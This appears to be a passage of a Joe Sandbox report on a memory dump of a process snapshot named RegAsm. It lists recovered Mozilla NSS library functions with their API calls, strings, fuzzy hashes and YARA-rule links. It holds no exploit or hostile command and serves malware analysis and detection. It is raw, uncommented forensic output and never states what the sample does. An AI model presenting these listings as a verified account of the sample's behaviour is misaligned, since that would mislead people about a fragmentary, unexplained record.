GET, xrefs: 6BFDEB53
GET %s HTTP/1.0Host: %s%s, xrefs: 6BFDEEAC
:%d, xrefs: 6BFDED73

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 5bda8ed94cb099bae31ad04106fb113f6b1ac2b4d3e5d2bb0e42f50e23271c46
Instruction ID: 60bf9f96b6d92ecf00b389727c57586c185da19f955a5107ddb71f7dae96e759
Opcode Fuzzy Hash: 5bda8ed94cb099bae31ad04106fb113f6b1ac2b4d3e5d2bb0e42f50e23271c46
Instruction Fuzzy Hash: CB42A376A04301AFEB109F24DC85F5BB7E4AF85358F08486CF94997361E739E914CB92

Function 6BFDCA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6BFDCB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6BFDCB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6BFDCBEB
realloc.MOZGLUE(?,00000000), ref: 6BFDCC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6BFDCD25
PR_GetCurrentThread.NSS3 ref: 6BFDCD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6BFDCD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6BFDCD9D
PR_GetCurrentThread.NSS3 ref: 6BFDCDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6BFDCDD2
PR_GetCurrentThread.NSS3 ref: 6BFDCDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6BFDCE7C
PR_GetCurrentThread.NSS3 ref: 6BFDCE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6BFDCEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BFDCF8F
memcmp.VCRUNTIME140(?,6C0F96B4,00000048), ref: 6BFDCFC8
PR_GetCurrentThread.NSS3 ref: 6BFDD071
CERT_GetCertTrust.NSS3(?,?), ref: 6BFDD091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6BFDD0C6
PR_GetCurrentThread.NSS3 ref: 6BFDD0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6BFDD116
PR_GetCurrentThread.NSS3 ref: 6BFDD131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD225
CERT_DestroyCertificate.NSS3(?), ref: 6BFDD410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6BFDD44E
PR_GetCurrentThread.NSS3 ref: 6BFDD45E
PR_GetCurrentThread.NSS3 ref: 6BFDD1EC

Part of subcall function 6BFDC9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6BFDD864,?,00000000,?), ref: 6BFDC9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD285
PR_GetCurrentThread.NSS3 ref: 6BFDD298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD330
PR_GetCurrentThread.NSS3 ref: 6BFDD34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6BFDD392
CERT_DestroyCertificate.NSS3(?), ref: 6BFDD3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6BFDD3DF
PR_GetCurrentThread.NSS3 ref: 6BFDD3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6BFDCE12

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_GetCurrentThread.NSS3 ref: 6BFDCE22
PR_GetCurrentThread.NSS3 ref: 6BFDCED8
memcmp.VCRUNTIME140(?,6C0F96FC,00000048), ref: 6BFDCFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6BFDCFF6
PR_GetCurrentThread.NSS3 ref: 6BFDCDFD

Part of subcall function 6C099BF0: TlsGetValue.KERNEL32(?,?,?,6C0E0A75), ref: 6C099C07

PR_GetCurrentThread.NSS3 ref: 6BFDCE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD4E2
PR_GetCurrentThread.NSS3 ref: 6BFDD4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BFDD515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BFDD52C
PR_GetCurrentThread.NSS3 ref: 6BFDD540
free.MOZGLUE(?), ref: 6BFDD567
CERT_DestroyCertificate.NSS3(00000000), ref: 6BFDD575
CERT_DestroyCertificate.NSS3(?), ref: 6BFDD584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BFDD592

Part of subcall function 6BFF06A0: TlsGetValue.KERNEL32 ref: 6BFF06C2
Part of subcall function 6BFF06A0: EnterCriticalSection.KERNEL32(?), ref: 6BFF06D6
Part of subcall function 6BFF06A0: PR_Unlock.NSS3 ref: 6BFF06EB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 25906ae6f8c27b6b58b4ce7eb62fc3643fe10e628b2d351aeb761bd8b7bbc9ad
Instruction ID: 9eab62acbda74ab4976bbf434a18a08e1c96579a7e4752dd63ed73f08871b5fa
Opcode Fuzzy Hash: 25906ae6f8c27b6b58b4ce7eb62fc3643fe10e628b2d351aeb761bd8b7bbc9ad
Instruction Fuzzy Hash: A052F277A48301ABEB108F68CC41B5BB7E5AFC5318F084528F95997371EB39E815CB92

Function 6C0209B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C021AD3), ref: 6C0209D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C021AD3), ref: 6C0209E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C020A18
PR_SetError.NSS3(00000000,00000000), ref: 6C020A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C020CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C020D05
EnterCriticalSection.KERNEL32(?), ref: 6C020D19
PR_Unlock.NSS3(?), ref: 6C020D36
free.MOZGLUE(?), ref: 6C020D75
TlsGetValue.KERNEL32 ref: 6C020DA1
EnterCriticalSection.KERNEL32(?), ref: 6C020DB5
PR_Unlock.NSS3(?), ref: 6C020DEB
PORT_Alloc_Util.NSS3(?), ref: 6C020DFF
PR_Unlock.NSS3(?), ref: 6C020E37
free.MOZGLUE(?), ref: 6C020E4E
PR_SetError.NSS3(00000000,00000000), ref: 6C020E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C020E9A
TlsGetValue.KERNEL32 ref: 6C020F23
EnterCriticalSection.KERNEL32(?), ref: 6C020F37
PR_SetError.NSS3(00000000,00000000), ref: 6C020FC7

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_Unlock.NSS3(?), ref: 6C020FDE
TlsGetValue.KERNEL32 ref: 6C020FFA
EnterCriticalSection.KERNEL32(?), ref: 6C02100E
PR_Unlock.NSS3(?), ref: 6C021050
PR_Unlock.NSS3(?), ref: 6C021073
TlsGetValue.KERNEL32 ref: 6C021087
EnterCriticalSection.KERNEL32(?), ref: 6C02109B
PR_Unlock.NSS3(?), ref: 6C0210B8
free.MOZGLUE(?), ref: 6C021113
PORT_Alloc_Util.NSS3(?), ref: 6C021151
free.MOZGLUE(?), ref: 6C0211AB
TlsGetValue.KERNEL32 ref: 6C021296
EnterCriticalSection.KERNEL32(?), ref: 6C0212AB
PR_Unlock.NSS3(?), ref: 6C0212D9
TlsGetValue.KERNEL32 ref: 6C0212F4
EnterCriticalSection.KERNEL32(?), ref: 6C02130C
PR_Unlock.NSS3(?), ref: 6C021340
TlsGetValue.KERNEL32 ref: 6C021354
EnterCriticalSection.KERNEL32(?), ref: 6C02136C
PR_Unlock.NSS3(?), ref: 6C0213A3
TlsGetValue.KERNEL32 ref: 6C0213BA
EnterCriticalSection.KERNEL32(?), ref: 6C0213CF
PR_Unlock.NSS3(?), ref: 6C0213FB

Part of subcall function 6C07DD70: TlsGetValue.KERNEL32 ref: 6C07DD8C
Part of subcall function 6C07DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C07DDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6C02141E

Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07AD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07CD
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6BF5204A), ref: 6BFC07D6
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6BF5204A), ref: 6BFC07E4
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,6BF5204A), ref: 6BFC0864
Part of subcall function 6BFC07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BFC0880
Part of subcall function 6BFC07A0: TlsSetValue.KERNEL32(00000000,?,?,6BF5204A), ref: 6BFC08CB
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08D7
Part of subcall function 6BFC07A0: TlsGetValue.KERNEL32(?,?,6BF5204A), ref: 6BFC08FB

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 0f06811294cb5a2ba525b2c2c0814c9c57b20a1b525e852d6f49e149ef358ab7
Instruction ID: 6299633347284414810f253f31df888517e166767cf04deea8574a7519c92340
Opcode Fuzzy Hash: 0f06811294cb5a2ba525b2c2c0814c9c57b20a1b525e852d6f49e149ef358ab7
Instruction Fuzzy Hash: 3472CDB2D042449FEF109F24D89879A7BF4BF09328F1801B9DC099B752E739E995CB91

Function 6C034840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C01601B,?,00000000,?), ref: 6C03486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C0348A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C0348BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C0348DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C0348F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C03490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C034919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C03493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C034970
PORT_Alloc_Util.NSS3(00000001), ref: 6C0349A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C0349AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C0349D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C0349F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C034A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C034A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C034A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C034A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C034A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C034A81
free.MOZGLUE(00000000), ref: 6C034AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C034ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C034ADC
free.MOZGLUE(00000000), ref: 6C034B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C034B33

Part of subcall function 6C034120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C03413D
Part of subcall function 6C034120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C034162
Part of subcall function 6C034120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C03416B
Part of subcall function 6C034120: PL_strncasecmp.NSS3(6C034232,?,00000001), ref: 6C034187
Part of subcall function 6C034120: NSSUTIL_ArgSkipParameter.NSS3(6C034232), ref: 6C0341A0
Part of subcall function 6C034120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C0341B4
Part of subcall function 6C034120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C0341CC
Part of subcall function 6C034120: NSSUTIL_ArgFetchValue.NSS3(6C034232,?), ref: 6C034203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C034B53
free.MOZGLUE(00000000), ref: 6C034B94
free.MOZGLUE(?), ref: 6C034BA7
free.MOZGLUE(00000000), ref: 6C034BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C034BC8

Strings

slotFlags, xrefs: 6C034A22
rootFlags, xrefs: 6C034AB9, 6C034B2E
hasRootCerts, xrefs: 6C034AD6
every, xrefs: 6C034A66
hasRootTrust, xrefs: 6C034B4D
timeout, xrefs: 6C034A38, 6C034A7B
askpw, xrefs: 6C034A4A

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 8d66017f8b8cb171775ed498e7e1878cf1b398da764c6ad5be328215b3520e57
Instruction ID: e696574a83fb3f851c73194a2958ea763e021ae81a545c64c33814eb90839015
Opcode Fuzzy Hash: 8d66017f8b8cb171775ed498e7e1878cf1b398da764c6ad5be328215b3520e57
Instruction Fuzzy Hash: FCC1F874E052676FEB008FE49C50BAE7FF8AF06248F141025EC59AB701E726E914CBA1

Function 6BFF6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C0FA8EC,0000006C), ref: 6BFF6DC6
memcpy.VCRUNTIME140(?,6C0FA958,0000006C), ref: 6BFF6DDB
memcpy.VCRUNTIME140(?,6C0FA9C4,00000078), ref: 6BFF6DF1
memcpy.VCRUNTIME140(?,6C0FAA3C,0000006C), ref: 6BFF6E06
memcpy.VCRUNTIME140(?,6C0FAAA8,00000060), ref: 6BFF6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6BFF6E38

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6BFF6E76
TlsGetValue.KERNEL32 ref: 6BFF726F
EnterCriticalSection.KERNEL32(?), ref: 6BFF7283

Strings

!, xrefs: 6BFF7123

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: ff65ef3040f57c7eb846fe90944efea0892571822cd98ff0bd46325d75316386
Instruction ID: b23c430183a424c6283c0e1c4036e06b48b6d0211aecce6eaefdd877900115a4
Opcode Fuzzy Hash: ff65ef3040f57c7eb846fe90944efea0892571822cd98ff0bd46325d75316386
Instruction Fuzzy Hash: 92728276D042199FDF60CF28CC8879ABBB5AF49304F1041E9D80CA7361DB75AA85CF91

Function 6C018A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C018A58

Part of subcall function 6C030FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BFD87ED,00000800,6BFCEF74,00000000), ref: 6C031000
Part of subcall function 6C030FF0: PR_NewLock.NSS3(?,00000800,6BFCEF74,00000000), ref: 6C031016
Part of subcall function 6C030FF0: PL_InitArenaPool.NSS3(00000000,security,6BFD87ED,00000008,?,00000800,6BFCEF74,00000000), ref: 6C03102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C018AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6C018ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6C018B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C018B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C018B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6C018B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6C018B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6C018BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C018BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C018BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C018C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C018C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C018CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C018CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C018D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C018D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C018D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C018D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C018DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6C018DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6C0FD864), ref: 6C018E39

Part of subcall function 6C02F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C02F0C8
Part of subcall function 6C02F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C02F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6C018E5B

Part of subcall function 6C02BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6BFDE708,00000000,00000000,00000004,00000000), ref: 6C02BE6A
Part of subcall function 6C02BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6BFE04DC,?), ref: 6C02BE7E
Part of subcall function 6C02BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C02BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C0FD8C4), ref: 6C018E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6C018EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C018EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6C018ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C018EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C018EF4
free.MOZGLUE(00000000), ref: 6C018EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C018F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C018F1C

Strings

tFVPj, xrefs: 6C018EC4

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: 9517f75accdd3c4566c58e09d46f26cfb4bae166d62c99aa1a161821bf7c3463
Instruction ID: 201f244a52793d00168b4ba819bd6e059ebbc094ba62d72d4ee76663d21e9fd1
Opcode Fuzzy Hash: 9517f75accdd3c4566c58e09d46f26cfb4bae166d62c99aa1a161821bf7c3463
Instruction Fuzzy Hash: 0DD118B19093119BEB008F64DC80BAAB7E9EF55348F16472AFC58C7E41F734E654C692

Function 6C03AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C03ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C03ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C03ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C03AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C03ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C03ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C03ADF0

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C03B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C03B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C03B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C03B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C03B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C03B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C03B40C

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: df3d157750ded64bb9ff9c9377d68110b927e6a52aff2a5b2bbda1e2d5a5bdd9
Instruction ID: 2fc7c44f3f5b6a7ddfa2f719882ecb453c35ea225daec65fbd0bcdeaac612ae0
Opcode Fuzzy Hash: df3d157750ded64bb9ff9c9377d68110b927e6a52aff2a5b2bbda1e2d5a5bdd9
Instruction Fuzzy Hash: 1922CE71904312AFEB00CF14CC45B9A77E1AF8430CF24862CE95D5B7A2E776E859CB96

